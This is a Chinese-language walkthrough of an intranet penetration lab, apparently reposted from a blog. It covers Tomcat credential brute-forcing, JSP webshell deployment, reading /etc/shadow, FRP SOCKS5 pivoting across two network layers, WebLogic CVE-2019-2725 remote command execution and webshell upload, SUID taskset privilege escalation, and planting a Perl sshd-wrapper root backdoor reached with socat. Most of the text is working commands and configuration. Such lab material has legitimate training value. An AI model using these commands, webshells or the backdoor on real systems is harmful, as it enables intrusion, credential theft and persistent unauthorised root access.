目录
关注【白帽子 程序员】回复“内网靶场”获取内网靶场
目标环境
web渗透
web信息收集
nmap扫描端口在目标8080端口发现tomcat服务,版本为8.0.43
使用kali中的dirb命令爆破一下目录
发现身份验证页面
:8080/manager/html:8080/host-manager/html暴力破解
查找tomcat默认密码tomcat尝试枚举
cat /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txtcat /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt成功进入tomcat后台
getshell
发现存在tomcat项目部署功能此功能允许用户通过上传war包,来部署自己的应用项目
利用蚁剑的jsp木马,制作生成包含jsp木马的ant.war包:
cd /root/Desktopmkdir antcp ant.jsp antcd antjar -cvf ant.war .上传jsp马,并访问
蚁剑链接
内网渗透
服务器敏感信息收集
查看主机IP及运行服务信息
ip addrps -elf查看主机所有用户信息
cat /etc/passwdcat /etc/shadow查找系统中所有的敏感信息文件用于寻找存放在系统内的敏感文件,如包含用户密码、服务访问密码等敏感信息的文件
获取内网存活主机
使用ladon64工具扫描探测172.22.0.0/24网段,判断内网存活主机IP将ladon64上传至目标服务器tmp目录下
命令行启动ladon64
cd /tmpchmod +x ladon64./ladon64 172.22.0.0/24 icmpscan得到内网网段存活主机IP:172.22.0.20
内网穿透:通过FRP建立Socks5代理
上传FRP工具及配置通过蚁剑的文件管理功能,上传相关工具文件到tomcat服务器的/tmp目录给FRP程序文件可执行权限
cd /tmpchmod +x frp*修改frpc.ini配置文件
[common] # 理解为注释,对应配置的说明注释server_addr = 10.1.1.119 # frps服务端IPserver_port = 7000 # frps服务端端口[socks5] # 理解为注释,对应配置的说明注释type = tcp # 代理数据协议类型plugin = socks5 # 启用frp的socks5代理插件remote_port = 5000 # socks5代理端口[common]server_addr = 10.1.1.119server_port = 7000[socks5]type = tcpplugin = socks5remote_port = 5000运行frps
在攻击机上运行frps服务
cd /root/Desktop/frp # 切换到frp工具目录./frps -c frps.ini # 通过-c选项指定frps配置文件服务默认监听在本地的7000端口,如果想要更改监听端口,可以通过更改frps.ini配置文件来实现。
[common]bind_port = 7000 # frps服务绑定监听的端口运行frpc在获得shell的Tomcat服务器上执行frpc客户端
cd /tmp./frpc -c frpc.ini # 通过-c选项指定frpc配置文件攻击机监听代理端口在Tomcat服务器上执行的frpc客户端与攻击机上启动的frps服务端,建立连接之后,会创建一个socks5代理通道,在frps服务端所在攻击机,监听一个代理端口。使用哪个端口作为socks5代理端口由frpc.ini配置文件中的参数remote_port指定,这里指定的是5000端口。
访问内网存活主机命令行proxychains代理工具使用代理工具proxychains通过建立的socks5代理通道访问内网存活主机IP。编辑修改proxychains配置文件leafpad /etc/proxychains.conf
查看目标主机IP
ip addr尝试请求,报错编辑proxychains配置文件
leafpad /etc/proxychains.conf或vim /etc/proxychains.conf在文末注释掉默认有的socks4配置项,添加如下配置
socks5 127.0.0.1 5000proxychains curl 172.22.0.10:8080ok
浏览器FoxyProxy代理插件打开firefox浏览器,直接访问内网IP172.22.0.10:8080是无法访问到的,通过浏览器插件FoxyProxy配置浏览器的请求走使用FRP所建立的socks5代理通道,通过此代理通道,代理请求内网IP的8080端口的http请求,从而实现通过浏览器访问内网WEB服务的目的。
内网扫描发现内网服务
通过建立的socks代理通道,可以在外网的攻击机,访问到原本无法访问的目标内网主机,那么下一步就可以对内网进行攻击测试。nmap内网存活主机端口扫描通过socks代理工具,代理nmap流量到内网,对内网主机开放的端口进行扫描注意,socks5是无法代理icmp协议请求的,因此,需要把icmp的请求禁止走建立的socks代理,来防止正常请求发送出错或无法发送。在nmap中,可以使用-Pn选项
proxychains nmap -Pn -sT -T4 172.22.0.20-Pn:禁ping-sT:tcp连接探测端口-T4:加快请求连接速度发现开放weblogic服务的默认端口7001
ladon64工具扫描内网weblogic
./ladon64 172.22.0.20 t3scan探测发现Weblogic版本为Weblogic:10.3.6.0
打开firefox浏览器,配置浏览器走frp代理
发现并访问内网主机开放的Weblogic服务端口,通过配置浏览器代理,可访问到攻击机原本访问不到的内网Weblogic服务
远程命令执行漏洞利用访问:7001/console/将跳转到登陆界面:7001/console/login/LoginForm.jsp
Weblogic远程命令执行漏洞利用
漏洞发现
使用Weblogic漏洞检测脚本进行漏洞发现
cd /root/Desktop/weblogicscancp fake_useragent_0.1.11.json /tmp/proxychains python3 WeblogicScan.py -u 172.22.0.20 -p 7001发现目标存在CVE-2019-2725漏洞
远程命令执行
cd /root/Desktopproxychains python3 weblogic-CVE-2019-2725.py 10.3.6 :7001/ whoami上传webshell小马
proxychains python3 weblogic-CVE-2019-2725.py 10.3.6 http://172.22.0.20:7001/webshell地址::7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=ifconfig
利用内网Tomcat服务下发蚁剑Webshell
由于上一步中通过利用Weblogic的远程命令执行漏洞上传的Webshell只能进行命令的执行,而无法通过中国蚁剑等Webshell管理工具做更多的操作,因此,需要上传一个蚁剑Webshell
使用蚁剑文件管理功能,进入Tomcat服务器/usr/local/tomcat/webapps/ant/目录,新建ant.txt文件,复制ant.jsp文件内容到ant.txt文件中
因为Tomcat和Weblogic服务器在同一个网段,可以互相访问,在Weblogic服务器上可以通过如下URL访问ant.txt文件
:8080/ant/ant.txt
通过命令执行下载蚁剑Webshell
通过命令执行下载放在Tomcat服务器上的ant.txt文件到Weblogic网站目录:
:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=wget :8080/ant/ant.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/ant.jsp蚁剑Webshell地址::7001/bea_wls_internal/ant.jsp
蚁剑连接Webshell打开一个新的蚁剑窗口并配置socks5代理,找到 AntSword > 代理设置 > 手动设置代理 > 选择socks5代理协议 > 填写代理服务器IP > 填写代理服务端口 > 保存。注意,保存时会提示重启中国蚁剑。
蚁剑重启之后,添加上传到Weblogic服务器的Webshell连接
突破二层内网
攫取二层内网的敏感信息
内网WebLogic服务器信息收集
通过蚁剑工具连接Webshell后执行命令、查看文件,获取WebLogic服务器信息,如:所在IP段、开放的服务、敏感信息等
whoami # 查看当前用户权限ip addr # 查看当前主机IP 172.26.0.20ps -elf # 查看当前主机运行的服务find / -name *pass* # 查找主机系统中包含pass字符的所有文件名在/root目录下发现一个pass.txt文件
cat /root/pass.txtbase64解密得到一组账号密码
获取二层内网存活主机
上传ladon64检测工具,获取内网存活主机IP
cd /tmpchmod +x ladon64./ladon64 172.26.0.0/24 icmpscan发现内网存活主机IP:172.26.0.30
穿透二层内网并发现关键服务
之前,使用FRP建立一个socks5代理通道,来把访问内网Weblogic服务的请求代理到172.22网段,此时Tomcat服务器是从外网访问内部网络的一个跳板,也就是跳板机;
但是现在由于之前所发现的内网主机172.26.0.30与Tomcat服务器172.22.0.10处于不同的网络,也就是说,在没有手动设置路由的情况下,它们之间是无法互相访问的;
因此继续使用之前中搭建的socks5代理通道是无法访问到172.26.0.30主机的;
那么,怎么解决这个问题呢?
因为之前所拿下的Weblogic服务器不仅可以访问到Tomcat服务器,也可以访问到172.26.0.30主机,所以可以利用它来实现访问在二层的内网网段172.26
下面通过frp代理工具,建立二层socks5代理,从而实现访问二层内网
上传frp、frpc.ini文件到Weblogic服务器
上传frpc、frpc.ini到Weblogic服务器修改frpc.ini为如下:
[common]server_addr = 172.22.0.10server_port = 7000[socks5_2]type = tcpplugin = socks5remote_port = 6666此配置文件的作用为:以Tomcat服务器为跳板机,转发从攻击机的6000端口传输过来的流量请求到本地的6666端口,而本地的6666端口为Tomcat与Weblogic服务器之间建立的socks代理通道的入口,也就相当于,把外网的请求流量,通过Tomcat跳板机,转发到Weblogic服务器所在的二层内网。
Tomcat服务器运行frpc在运行frpc之前,需要先把之前建立一层socks5代理时启动的frpc进程停止,然后再用如下命令指定新的frpc配置文件启动新的frpc进程
cd /tmpps -elf|grep frpckill 60 # 这里的60为上一个命令所查询到的frpc进程id,根据实际情况替换./frpc -c frpc2.iniTomcat服务器运行frps
为了建立二层socks5代理,需要在Tomcat服务器上启动一个frps服务端,然后在Weblogic服务器上启动连接此frps的frpc客户端,从而使Tomcat与Weblogic服务器之间建立一个socks5代理通道,用于流量数据传输。
cd /tmp./frps -c frps.ini可以看到攻击机监听了两个socks5代理端口,5000端口为代理访问一层内网网段172.22.0.0/16,6000端口为代理访问二层内网网段172.26.0.0/16。从处于外网的攻击机上发送到二层内网网段172.26.0.0/16的请求数据,其数据流向为:
从处于外网的攻击机上发送到二层内网网段172.26.0.0/16的请求数据,其数据流向为:attack攻击机 --> socks5:127.0.0.1:6000 --> tomcat服务器 --> socks5:127.0.0.1:6666 --> Weblogic服务器 --> Dev服务器
攻击机配置proxychains代理
攻击机配置proxychains代理访问二层内网主机
编辑proxychains配置文件
leafpad /etc/proxychains.conf注释掉末尾之前的socks5代理配置,添加如下配置内容:
socks5 127.0.0.1 6000内网存活主机端口扫描
通过socks代理工具,代理nmap流量到内网,对二层内网主机开放的端口进行端口扫描
proxychains nmap -Pn -sT -T4 172.26.0.30发现开放远程连接SSH端口22
获得二层内网主机的普通用户访问权限
SSH登录获得二层内网主机访问权限
尝试通过在步骤八发现的普通用户simadmin的账号密码进行登录,成功登录,得到内网dev服务器访问权限
清空known_hosts文件内容:
echo > /root/.ssh/known_hosts通过proxychains工具代理SSH连接二层内网dev服务器:
proxychains ssh [email protected]二层内网主机信息收集
通过对目标主机进行信息收集,发现存在拥有SUID特殊权限的程序taskset
代理连接内网dev服务器的SSH服务:
proxychains ssh [email protected]连接后默认是sh shell外壳,切换为bash shell外壳,会更方便操作:
bash查找系统中所有具有SUID权限的文件:
find / -perm -u=s -type f权限提升
权限提升(Root权限)
Linux系统的最高权限为root,普通用户对系统的某些操作会被受到限制,但是root用户可以完全操作Linux系统,因此,想要对系统做更多的操作,就需要得到系统的root权限。
利用具有SUID权限的taskset从simadmin普通用户权限提权到root权限;
更多的SUID权限利用可查看:https://gtfobins.github.io/
ls -la /usr/bin/tasksetwhoami # simadmintaskset 1 /bin/bash -pwhoami # root权限维持
权限持久化(后门)
为了能够持续的对目标进行控制,可以通过在目标机器上留下一个后门,方便下次继续控制目标,并得到root权限。
利用SSH Server Wrapper技术,在dev服务器留下SSH登录后门,
cd /usr/sbin/mv sshd ../binecho #!/usr/bin/perl >sshdecho exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/); >>sshdecho exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV, >>sshdchmod u+x sshd可无需密码获得目标主机root用户权限:
echo "ls" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526echo "whoami" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526echo "ip addr" | socat STDIO TCP4:172.26.0.30:22,sourceport=19526这里因为中国蚁剑的模拟终端会自动的把进程放到后台,因此,无法直接在终端中与留下的后门进行命令交互,这里采用管道|的方法,把要执行的命令重定向到与后门的连接中,并返回执行后的结果:
注意:因为每执行一次命令需要连接的后门,然后执行命令,返回结果,因此在执行下个命令时,需要稍微等待几秒时间,等待上次连接关闭,然后才能继续执行命令,否则会出现如下图所示错误:Address already in use。当然,如果是在前台执行的话,是可以得到一个交互式shell的,如下图:
但,本环境无法直接如下图一样得到交互式shell如果使用其他可得到交互式模拟终端的Webshell管理工具,是完全可以实现以上操作的。
遇到的问题
实验过程中遇到一个困扰我的地方就是linux攻击机时不时就会锁定Windows键,然后导致无法正常操作,然后我查询资料发现Ctrl + S 是Linux 锁屏的快捷键 要解除锁定只需要按 Ctrl + Q/ALT + Q
然后。。然后就没了。。。某合实验室的教学真的堪称保姆级教学,细致到极限了
作者:IceSeclude
原文: